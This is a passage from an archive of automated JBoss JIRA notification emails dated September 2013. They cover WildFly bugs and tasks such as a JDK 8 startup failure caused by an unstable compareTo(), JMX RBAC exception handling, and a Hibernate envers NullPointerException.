Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464326@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464326@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464326.24591.1379015523433@jira02.app.mwc.hst.phx2.redhat.com>

David Lloyd created WFLY-2057:
---------------------------------

             Summary: org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
                 Key: WFLY-2057
                 URL: https://issues.jboss.org/browse/WFLY-2057
             Project: WildFly
          Issue Type: Bug
          Components: Server
            Reporter: David Lloyd
            Assignee: David Lloyd
             Fix For: 8.0.0.Beta1


As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 15:59:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 12 Sep 2013 15:59:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2056) component upgrade Hibernate
 ORM to 4.3.0.Beta4 and Hibernate commons.annotations to 4.0.4.Final
In-Reply-To: <JIRA.12500637.1379008426000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500637.1379008426000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500637.1379008426000.24604.1379015944077@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2056?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804011#comment-12804011 ] 

Scott Marlow commented on WFLY-2056:
------------------------------------

https://hibernate.atlassian.net/browse/HHH-8502 needs to check for null
                
> component upgrade Hibernate ORM to 4.3.0.Beta4 and Hibernate commons.annotations to 4.0.4.Final
> -----------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2056
>                 URL: https://issues.jboss.org/browse/WFLY-2056
>             Project: WildFly
>          Issue Type: Task
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 16:01:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Thu, 12 Sep 2013 16:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.24607.1379016064489@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804012#comment-12804012 ] 

David Lloyd commented on WFLY-2057:
-----------------------------------

This is the underlying cause of JDK-8024610 / http://bugs.sun.com/view_bug.do?bug_id=8024610
                
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: David Lloyd
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 16:03:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Thu, 12 Sep 2013 16:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.24610.1379016183387@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804012#comment-12804012 ] 

David Lloyd edited comment on WFLY-2057 at 9/12/13 4:01 PM:
------------------------------------------------------------

This is the underlying cause of JDK-8024610 / http://bugs.sun.com/view_bug.do?bug_id=8024610 and means that no version of AS 7 or WildFly works on JDK 8 currently.
                
      was (Author: dmlloyd):
    This is the underlying cause of JDK-8024610 / http://bugs.sun.com/view_bug.do?bug_id=8024610
                  
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: David Lloyd
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 17:13:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 12 Sep 2013 17:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1986) Review exceptions thrown for
 authorization cases in JMX
In-Reply-To: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499796.1378194827000.24641.1379020383942@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1986?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804018#comment-12804018 ] 

Brian Stansberry commented on WFLY-1986:
----------------------------------------

Darran, I agree, we need to be careful. But, we've established on the core side that the permission to "address" things (i.e. to even confirm the existence of something) applies to resources only, not to attributes and operations. This is because resource addresses contain dynamic data (e.g. security domain/realm names) while attribute and operation names are static and can be learned simply by looking at source or starting up a system with rbac disabled. So, the same basic philosophy should apply here.
                
> Review exceptions thrown for authorization cases in JMX
> -------------------------------------------------------
>
>                 Key: WFLY-1986
>                 URL: https://issues.jboss.org/browse/WFLY-1986
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should be reconsidered which exception to use for RBAC authorization cases in JMX. 
> For example "AttributeNotFoundException" doesn't make much sense when attribute exists but user is missing permissions for write. In this case I would use its superclass "OperationsException" instead. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 17:37:03 2013
From: jira-events at lists.jboss.org (Gerard Krupa (JIRA))
Date: Thu, 12 Sep 2013 17:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2058) Standalone profile hangs
 using Java 8 developer preview
In-Reply-To: <JIRA.12500648.1379021721646@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500648.1379021721646@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500648.1379021721646.24648.1379021823829@jira02.app.mwc.hst.phx2.redhat.com>

Gerard Krupa created WFLY-2058:
----------------------------------

             Summary: Standalone profile hangs using Java 8 developer preview
                 Key: WFLY-2058
                 URL: https://issues.jboss.org/browse/WFLY-2058
             Project: WildFly
          Issue Type: Feature Request
          Components: Server
    Affects Versions: 8.0.0.Alpha4
         Environment: Windows 7 Home Premium 64-bit i7 3610QM 2.3GHz 16GB RAM
            Reporter: Gerard Krupa
            Assignee: Jason Greene
            Priority: Minor


When attempting to run the standalone profile after a clean install, the server hangs after
22:23:08,362 INFO  [org.jboss.as] (MSC service thread 1-6) JBAS015899: WildFly 8.0.0.Alpha4 "WildFly" starting

The log only shows:
22:23:08,368 DEBUG [org.jboss.as.config] (MSC service thread 1-6) Configured system properties:
...
22:23:08,369 DEBUG [org.jboss.as.config] (MSC service thread 1-6) VM Arguments: -XX:+TieredCompilation -XX:+UseCompressedOops -Dprogram.name=standalone.bat -Xms64M -Xmx512M -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Dorg.jboss.boot.log.file=D:\app-servers\wildfly-8.0.0.Alpha4\standalone\log\server.log -Dlogging.configuration=file:D:\app-servers\wildfly-8.0.0.Alpha4\standalone\configuration/logging.properties 


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 17:40:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 12 Sep 2013 17:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.24651.1379022003403@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan updated REMJMX-68:
-----------------------------

    Summary: ClientConnection should propagate JMRuntimeException  (was: ClientConnection should propagate RuntimeMBeanException)

    
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 17:44:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 12 Sep 2013 17:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.24657.1379022243474@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804022#comment-12804022 ] 

Kabir Khan commented on REMJMX-68:
----------------------------------

Discussing with Brian we decided this should be its superclass instead.
                
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 17:44:03 2013
From: jira-events at lists.jboss.org (Gerard Krupa (JIRA))
Date: Thu, 12 Sep 2013 17:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2058) Standalone profile hangs
 using Java 8 developer preview
In-Reply-To: <JIRA.12500648.1379021721000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500648.1379021721000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500648.1379021721000.24661.1379022243691@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2058?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Gerard Krupa updated WFLY-2058:
-------------------------------

    Attachment: server.log

    
> Standalone profile hangs using Java 8 developer preview
> -------------------------------------------------------
>
>                 Key: WFLY-2058
>                 URL: https://issues.jboss.org/browse/WFLY-2058
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Windows 7 Home Premium 64-bit i7 3610QM 2.3GHz 16GB RAM
>            Reporter: Gerard Krupa
>            Assignee: Jason Greene
>            Priority: Minor
>              Labels: hangs, java8, jdk8, standalone.bat
>         Attachments: server.log
>
>
> When attempting to run the standalone profile after a clean install, the server hangs after
> 22:23:08,362 INFO  [org.jboss.as] (MSC service thread 1-6) JBAS015899: WildFly 8.0.0.Alpha4 "WildFly" starting
> The log only shows:
> 22:23:08,368 DEBUG [org.jboss.as.config] (MSC service thread 1-6) Configured system properties:
> ...
> 22:23:08,369 DEBUG [org.jboss.as.config] (MSC service thread 1-6) VM Arguments: -XX:+TieredCompilation -XX:+UseCompressedOops -Dprogram.name=standalone.bat -Xms64M -Xmx512M -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Dorg.jboss.boot.log.file=D:\app-servers\wildfly-8.0.0.Alpha4\standalone\log\server.log -Dlogging.configuration=file:D:\app-servers\wildfly-8.0.0.Alpha4\standalone\configuration/logging.properties 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 17:46:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 12 Sep 2013 17:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.24665.1379022363938@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804022#comment-12804022 ] 

Kabir Khan edited comment on REMJMX-68 at 9/12/13 5:44 PM:
-----------------------------------------------------------

Discussing with Brian we decided that the client should propagate JMRuntimeException rather than RuntimeMBeanException. The reason is JMRuntimeException is the parent for a bunch of useful exceptions, and JMRuntimeException itself does not require a cause in the constructor.
                
      was (Author: kabirkhan):
    Discussing with Brian we decided this should be its superclass instead.
                  
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 18:08:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 12 Sep 2013 18:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1984) MBeanAttributeInfo#isReadable
 and MBeanAttributeInfo#isWrittable return always true
In-Reply-To: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499790.1378192763000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499790.1378192763000.24672.1379023683468@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1984?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804023#comment-12804023 ] 

Brian Stansberry commented on WFLY-1984:
----------------------------------------

The javadoc for these methods says they indicate whether the attribute "can be read" or "can be written" but there is no qualification that the answer is with respect to the current caller. Our current impl is consistent with this.

The MBean spec isn't completely clear on this. I'll get into that in a bit. But, I'd like this to be analogous to the metadata we provide for core management resources, where the "access-type" field in an attribute description describes the attributes inherent nature, with the separate "access-control" metadata providing information about a particular caller's permissions.

For JMX we don't have any equivalent for the "access-control" stuff we add to the read-resource-description output. In the future we could perhaps do this with an implementation of javax.management.Descriptor. But I believe that won't happen for WF 8.0; too late.

The JMX 1.2 spec says, on page 57:

"MBean access is either readable, writable or both. Read access implies that a manager can get the value of this attribute, and write access that it can set its value:
? The isReadable method will return true if this attribute has a getter method in its MBean interface or if the getAttribute method of the DynamicMBean interface will succeed with this attribute?s name as the parameter; otherwise it will return false.
? The isWritable method will return true if this attribute has a setter method in its MBean interface or if the setAttribute method of the DynamicMBean interface will succeed with this attribute?s name as a parameter; otherwise it will return false."

It's not clear regarding the context of that "manager can get" "can set" and "will succeed", i.e. whether it means "ever" or "if the current caller instantaneously tries to do this."
                
> MBeanAttributeInfo#isReadable and MBeanAttributeInfo#isWrittable return always true
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1984
>                 URL: https://issues.jboss.org/browse/WFLY-1984
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> According to javadoc [1] these methods should return boolean value based on whether this attribute can be read / written. However currently true is returned even though authenticated user can't perform read / write operation. 
> Note: As I am familiar with JMX spec only very briefly, it is possible that these methods are intended for something bit different. 
> [1] http://docs.oracle.com/javase/7/docs/api/javax/management/MBeanAttributeInfo.html#isReadable()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 18:22:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 18:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1785) WAR_BUNDLES_JSF_IMPL does not
 work for EAR files
In-Reply-To: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497331.1374754962000.24684.1379024523499@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1785?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804026#comment-12804026 ] 

RH Bugzilla Integration commented on WFLY-1785:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 991276|https://bugzilla.redhat.com/show_bug.cgi?id=991276] from NEW to MODIFIED
                
> WAR_BUNDLES_JSF_IMPL does not work for EAR files
> ------------------------------------------------
>
>                 Key: WFLY-1785
>                 URL: https://issues.jboss.org/browse/WFLY-1785
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>    Affects Versions: 8.0.0.Alpha3
>         Environment: Windows 7 Professional.  Service Pack 1. 32 Bit.
>            Reporter: William Lovett
>            Assignee: Stan Silvert
>            Priority: Minor
>             Fix For: 8.0.0.Alpha4
>
>
> Hello Learned and Astonishly Charming JBoss Associates,
> I've been trying for quite some time now to get my successfully deployed WAR to become a successfully deployed EAR.  Much to my chagrin, this has been my white whale, and it just might kill me.
> In a nutshell, the attached EAR file contains a WAR.  If you deploy that WAR file everything works smooth as butter.  As soon as you put it in an EAR format however, you get the following well placed riposte:
> 19:33:57,513 WARN  [org.jboss.as.jsf] (MSC service thread 1-2) JBAS012603: Unknown JSF version 'WAR_BUNDLES_JSF_IMPL'.  Default version 'main' will be used instead.
> Not cool, JBoss.  Not cool.
> I've tried moving the jars to different places in the WAR/EAR.  I've tried using Manifest files.  I've tried colorfully adorned four letter expletives.  JBoss is unmoved.  Does anyone know why JBoss is rejecting my JSF advances?  Can the relationship be fixed?
> Using EAP 6.1 which I believe is equivalent to AS 7.2.
> Thanks in advance,
> Will
> PS:  The forum didn't like me attaching a 1.8 meg file so here's a download link instead
> http://www.williverstravels.com/JDev/Forums/Threads/230850/TestEar.ear

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 18:24:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 18:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1409) custom mail server should
 allow definition of independent properties
In-Reply-To: <JIRA.12493068.1369815646000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493068.1369815646000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493068.1369815646000.24688.1379024643414@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1409?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804027#comment-12804027 ] 

RH Bugzilla Integration commented on WFLY-1409:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 968200|https://bugzilla.redhat.com/show_bug.cgi?id=968200] from NEW to MODIFIED
                
> custom mail server should allow definition of independent properties
> --------------------------------------------------------------------
>
>                 Key: WFLY-1409
>                 URL: https://issues.jboss.org/browse/WFLY-1409
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Mail
>            Reporter: Jakub Cechacek
>            Assignee: Tomaz Cerar
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> Current implementation doesn't allow definition of independent properties - instead they will always have form of "mail.$ServerName.someprop". Thus it's not possible to setup properties such as "mail.transport.protocol"[1] inside custom server. 
> Also customer will unlikely design custom transport protocol from scratch. More often it will be just a wrapper around existing protocol such as smtp with some additional functionality (this is also case of [2]). However as a workaround one can define custom server together with server for underlying protocol within one mail session. 
> [1] which will cause session.getTransport(); to return null as default protocol is not set. 
> [2] https://c.na7.visual.force.com/apex/Case_View?id=500A000000A4N8b

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 19:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 19:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1070) Memory leak if hashCode of
 Transaction isn't stable
In-Reply-To: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498669.1376567503000.24695.1379027523417@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804029#comment-12804029 ] 

RH Bugzilla Integration commented on JBJCA-1070:
------------------------------------------------

James Livingston <jlivings at redhat.com> made a comment on [bug 1007608|https://bugzilla.redhat.com/show_bug.cgi?id=1007608]

TransactionSynchronizer leaks memory if the Transaction HashCode isn't stable.  The upgrade from bug 999522 fixes this for 6.2, and this bug is being opened for tracking purposes.
                
> Memory leak if hashCode of Transaction isn't stable
> ---------------------------------------------------
>
>                 Key: JBJCA-1070
>                 URL: https://issues.jboss.org/browse/JBJCA-1070
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> Happens in TransactionSynchronizer

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 20:03:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 12 Sep 2013 20:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2059) allow Hibernate envers
 hibernate.listeners.envers.autoRegister == false
In-Reply-To: <JIRA.12500650.1379030556277@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500650.1379030556277@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500650.1379030556277.24709.1379030583377@jira02.app.mwc.hst.phx2.redhat.com>

Scott Marlow created WFLY-2059:
----------------------------------

             Summary: allow Hibernate envers hibernate.listeners.envers.autoRegister == false
                 Key: WFLY-2059
                 URL: https://issues.jboss.org/browse/WFLY-2059
             Project: WildFly
          Issue Type: Bug
          Components: JPA / Hibernate
            Reporter: Scott Marlow
            Assignee: Scott Marlow
             Fix For: 8.0.0.CR1


This is a regression in Hibernate 4.3.0.Beta1 that will be fixed by HHH-8501.

For applications that have Hibernate envers on their classpath and have Hibernate configuration setting hibernate.listeners.envers.autoRegister=false, a NullPointerException is occurring in org.hibernate.envers.event.spi.EnversIntegrator.disintegrate ( http://pastebin.com/BbcgWSeK).

The workaround is to set hibernate.listeners.envers.autoRegister=true (default setting which allows envers to work with the deployment) or remove envers from their classpath.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 20:09:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 12 Sep 2013 20:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2059) allow Hibernate envers
 hibernate.listeners.envers.autoRegister == false
In-Reply-To: <JIRA.12500650.1379030556000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500650.1379030556000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500650.1379030556000.24715.1379030943479@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2059?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804036#comment-12804036 ] 

Scott Marlow commented on WFLY-2059:
------------------------------------

After HHH-8502 is fixed, uncomment "hibernate.listeners.envers.autoRegister=false" in the following source files:

testsuite/integration/basic/src/test/java/org/jboss/as/test/integration/hibernate/SFSBHibernateSessionFactory.java
testsuite/integration/basic/src/test/java/org/jboss/as/test/integration/hibernate/SFSBHibernateTransaction.java
testsuite/integration/basic/src/test/java/org/jboss/as/test/integration/hibernate/SFSBHibernatewithCriteriaSession.java
testsuite/integration/basic/src/test/java/org/jboss/as/test/integration/hibernate/SFSBHibernatewithMetaDataSession.java

                
> allow Hibernate envers hibernate.listeners.envers.autoRegister == false
> -----------------------------------------------------------------------
>
>                 Key: WFLY-2059
>                 URL: https://issues.jboss.org/browse/WFLY-2059
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.CR1
>
>
> This is a regression in Hibernate 4.3.0.Beta1 that will be fixed by HHH-8501.
> For applications that have Hibernate envers on their classpath and have Hibernate configuration setting hibernate.listeners.envers.autoRegister=false, a NullPointerException is occurring in org.hibernate.envers.event.spi.EnversIntegrator.disintegrate ( http://pastebin.com/BbcgWSeK).
> The workaround is to set hibernate.listeners.envers.autoRegister=true (default setting which allows envers to work with the deployment) or remove envers from their classpath.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 23:01:03 2013
From: jira-events at lists.jboss.org (Takayoshi Kimura (JIRA))
Date: Thu, 12 Sep 2013 23:01:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2060) Add date in the server.log
	format
In-Reply-To: <JIRA.12500654.1379041219141@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500654.1379041219141@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500654.1379041219141.24769.1379041263874@jira02.app.mwc.hst.phx2.redhat.com>

Takayoshi Kimura created WFLY-2060:
--------------------------------------

             Summary: Add date in the server.log format
                 Key: WFLY-2060
                 URL: https://issues.jboss.org/browse/WFLY-2060
             Project: WildFly
          Issue Type: Task
          Components: Logging
    Affects Versions: 8.0.0.Alpha4
